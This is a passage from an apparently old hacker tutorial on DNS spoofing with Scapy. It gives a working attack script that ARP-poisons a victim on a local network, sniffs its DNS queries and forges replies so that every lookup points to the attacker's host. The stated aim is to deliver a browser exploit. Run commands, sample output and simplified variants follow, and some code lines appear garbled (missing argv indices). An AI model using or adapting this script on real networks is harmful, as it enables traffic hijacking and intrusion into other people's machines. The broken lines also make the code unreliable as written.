‘\nhackaholic\x03org\x00\x00\x01\x00\x01’<br/> >>> packet = i/u/d<br/> >>> sr1(packet)<br/> Begin emission:<br/> …*Finished to send 1 packets.<br/> <br/> Received 4 packets, got 1 answers, remaining 0 packets<br/> <IP version=4L ihl=5L tos=0x0 len=188 id=12111 flags=DF frag=0L ttl=64 proto=<br/> UDP chksum=0x777f src=192.168.9.1 dst=192.168.9.17 options='' |<UDP sport=53 <br/> dport=31337 len=168 chksum=0xab33 |<DNS id=31337 qr=1L opcode=16 aa=0L tc=0L <br/> rd=0L ra=1L z=8L rcode=ok qdcount=1 ancount=1 nscount=5 arcount=0 qd=<DNSQR q<br/> name='hackaholic.org.' qtype=A qclass=IN |> an=<DNSRR <a href="http://rrname=%27hackaholic.org" rel="nofollow">rrname='hackaholic.org</a>.<br/> ‘ type=A rclass=IN ttl=661L rdata=’24.132.169.84' |> ns=<DNSRR rrname='hackah<br/> olic.org.' type=NS rclass=IN ttl=1177L rdata='dns4.name-services.com.' |<DNSR<br/> R rrname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata='dns5.name-servi<br/> ces.com.' |<DNSRR rrname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata=<br/> ‘<a href="http://dns1.name-services.com" rel="nofollow">dns1.name-services.com</a>.’ |<DNSRR rrname='hackaholic.org.' type=NS rclass=IN <br/> ttl=1177L rdata='dns2.name-services.com.' |<DNSRR rrname='hackaholic.org.' ty<br/> pe=NS rclass=IN ttl=1177L rdata='dns3.name-services.com.' |>>>>> ar=0 |<Paddi<br/> ng load='6g\xa3\xf8' |>>>><br/> >>> <br/><br/>Now you can also do this;<br/><br/> >>> res =sr1(packet)<br/> Begin emission:<br/> .*Finished to send 1 packets.<br/> <br/> Received 2 packets, got 1 answers, remaining 0 packets<br/> >>> res.an.rdata<br/> ‘24.132.169.84’<br/> >>> <br/><br/>Cool huh? Now that we are confident we can find out how to forge DNS<br/>packets, we'll get down to business.<br/><br/>I wrote a DNS sproofing program for this paper.. it assumes the following<br/>scenario:<br/><br/>There are two hosts, A and B and a router R. R is the gateway to the<br/>internet but also is the local nameserver.<br/>We are the attacker at host A, and host B is our victim.<br/>We want to accomplish that any address looked up on host B will resolv to<br/>the address of host A. So if at host B someone launches a webbrowser and<br/>types any URL.. it will load our page set up on Host A (for example an<br/>Internet Explorer exploit to break into host B).<br/><br/>Before you start make sure your host A has a webserver set up.. You can<br/>test the principle by setting for example `google.com' to host A's address<br/>in /etc/hosts, Windows (my hosts B target) has this file too (in<br/>%windir%\System32\Drivers\etc IIRC).<br/><br/>So what we do is a local DNS poisoning technique (on the same LAN). Lets<br/>assume the following IP addresses:<br/><br/>Host A: 192.168.123.100<br/>Host B: 192.168.123.101<br/>Host R: 192.168.123.254<br/><br/>In order to spoof DNS we need to build a DNS response that makes sense..<br/>meaning one that responds with the right DNS ID and one that answers to the<br/>right query. In order to do that we need to be able to sniff the DNS<br/>packets as emitted by Host B. The only way to do this is by using an extra<br/>technique to redirect traffic destined to Host R to Host A instead. We do<br/>this through ARP poisoning. If we sent a forged ARP packet right before the<br/>DNS lookup, we will be able to sniff the DNS packet and fake a reply! We<br/>will then generate a fake reply with the address of host A causing a<br/>browser to download and display our malicious page!<br/><br/>Okay.. study and adapt the following code:<br/><br/> #!/usr/bin/env python<br/><br/> import sys<br/> from scapy import *<br/> conf.verb=1<br/> <br/> #### Adapt the following settings ####<br/> conf.iface = ‘eth2’<br/> mac_address = ‘00:11:22:AA:BB:CC’ # Real Mac address of interface conf.iface (Host A)<br/> ####<br/> <br/> if len(sys.argv) != 4:<br/> print “Usage: ./spoof.py <dns_server> <victim> <impersonating_host>”<br/> sys.exit(1)<br/> <br/> dns_server = sys.argv<br/> target=sys.argv<br/> malhost = sys.argv<br/> <br/> timevalid = ‘\x00\x00\x07\x75’<br/> alen = ‘\x00\x04’<br/> <br/> def arpspoof(psrc, pdst, mac):<br/> a = ARP()<br/> a.op = 2<br/> a.hwsrc = mac<br/> a.psrc = psrc<br/> a.hwdst = “ff:ff:ff:ff:ff:ff”<br/> a.pdst = pdst<br/> send(a)<br/> <br/> def mkdnsresponse(dr, malhost):<br/> d = DNS()<br/> d.id = dr.id<br/> d.qr = 1<br/> d.opcode = 16<br/> d.aa = 0<br/> d.tc = 0<br/> d.rd = 0<br/> d.ra = 1<br/> d.z = 8<br/> d.rcode = 0<br/> d.qdcount = 1<br/> d.ancount = 1<br/> d.nscount = 0<br/> d.arcount = 0<br/> d.qd = str(dr.qd)<br/> d.an = str(dr.qd) + timevalid + alen + inet_aton(malhost)<br/> return d<br/> <br/> ethlen = len(Ether())<br/> iplen = len(IP())<br/> udplen = len(UDP())<br/> <br/> arpspoof(dns_server, target, mac_address)<br/> p = sniff(filter='port 53', iface=conf.iface, count=1)<br/> <br/> e = p<br/> t = str(e)<br/> i = IP(t)<br/> u = UDP(t)<br/> d = DNS(t)<br/> <br/> dpkt = mkdnsresponse(d, malhost)<br/> <br/> dpkt.display()<br/> <br/> f = IP(src=i.dst, dst=i.src)/UDP(sport=u.dport, dport=u.sport)/dpkt<br/> send(f)<br/><br/>Heres how it would work, right before you open any page on host B execute<br/>like this on host A (make sure you change the `mac_address` variable):<br/><br/> detach@luna:~/lab/scapy-0.9.17$ ./spoof.py<br/> Usage: ./spoof.py <dns_server> <victim> <impersonating_host><br/> detach@luna:~/lab/scapy-0.9.17$ sudo ./spoof.py 192.168.123.254 192.168.123.101 192.168.123.100<br/><br/>It will poison the ARP cache on host B (telling the fake Mac of Host R is<br/>the real Mac of host A) and then will sniff a DNS packet. The sniffed<br/>information is then passed to our mkdnsresponse() function which will craft<br/>the fake DNS response. A working DNS spoofer in less than 100 lines of<br/>code!<br/><br/>Let's try:<br/><br/> detach@luna:~/lab/scapy-0.9.17$ sudo ./spoof.py 192.168.123.254 192.168.123.101 192.168.123.100<br/> WARNING: No IP underlayer to compute checksum. Leaving null.<br/> .<br/> Sent 1 packets.<br/> ——<br/> id = 140<br/> qr = 1<br/> opcode = 16<br/> aa = 0<br/> tc = 0<br/> rd = 0<br/> ra = 1<br/> z = 8<br/> rcode = ok<br/> qdcount = 1<br/> ancount = 1<br/> nscount = 0<br/> arcount = 0<br/> qd = ‘\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01’<br/> an = ‘\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01\x00\x00\x07u\x00\x04\xc0\xa8{d’<br/> ns = 0<br/> ar = 0<br/> .<br/> Sent 1 packets.<br/> detach@luna:~/lab/scapy-0.9.17$<br/><br/>The displayed packet is the spoofed response.. as you can see the address<br/>of <a href="http://start.mozilla.org" rel="nofollow">start.mozilla.org</a> is spoofed.<br/><br/>I must say I didn't read much of the DNS protocol RFCs to build this. Most<br/>I learned from Scapy itself and Ethereal.<br/><br/>Update: Someone kindly pointed me to Philippe's presentation that uses<br/>DNSRR() function of scapy to craft DNS replies, which is ofcourse more easy<br/>high-level function. You could change the mkdnsresponse() function like<br/>this:<br/><br/> def mkdnsresponse(dr, malhost):<br/> d = DNS()<br/> d.id = dr.id<br/> d.qd = dr.qd<br/> d.qdcount = 1<br/> d.qr = 1<br/> d.opcode = 16<br/> d.an = DNSRR(rrname=dr.qd.qname, ttl=10, rdata=malhost)<br/> return d<br/><br/>Another thing that could have been done easier is the dissecting. I used<br/>lowlevel method of ip = IP(str(packet)+len(Ether()), whilst i could use:<br/><br/> ip = packet.getlayer(IP)<br/><br/>:-). Sorry about that.<br/><br/>Update 2: Philippe Biondi (author of scapy) also mentions in an email to me<br/>the use of answering machines in the Scapy source for DNS spoofing. See his<br/>website (<a href="http://www.secdev.org/projects/scapy%29">http://www.secdev.org/projects/scapy)</a> for this.<br/><br/>So you could replace that with:<br/><br/> i = p.getlayer(IP)<br/> u = p.getlayer(UDP)<br/> d = p.getlayer(DNS)<br/><br/>If you have any questions mail <a href="mailto:detach@REMOVEUPPERCASEhackaholic.org">detach@REMOVEUPPERCASEhackaholic.org</a></blockquote>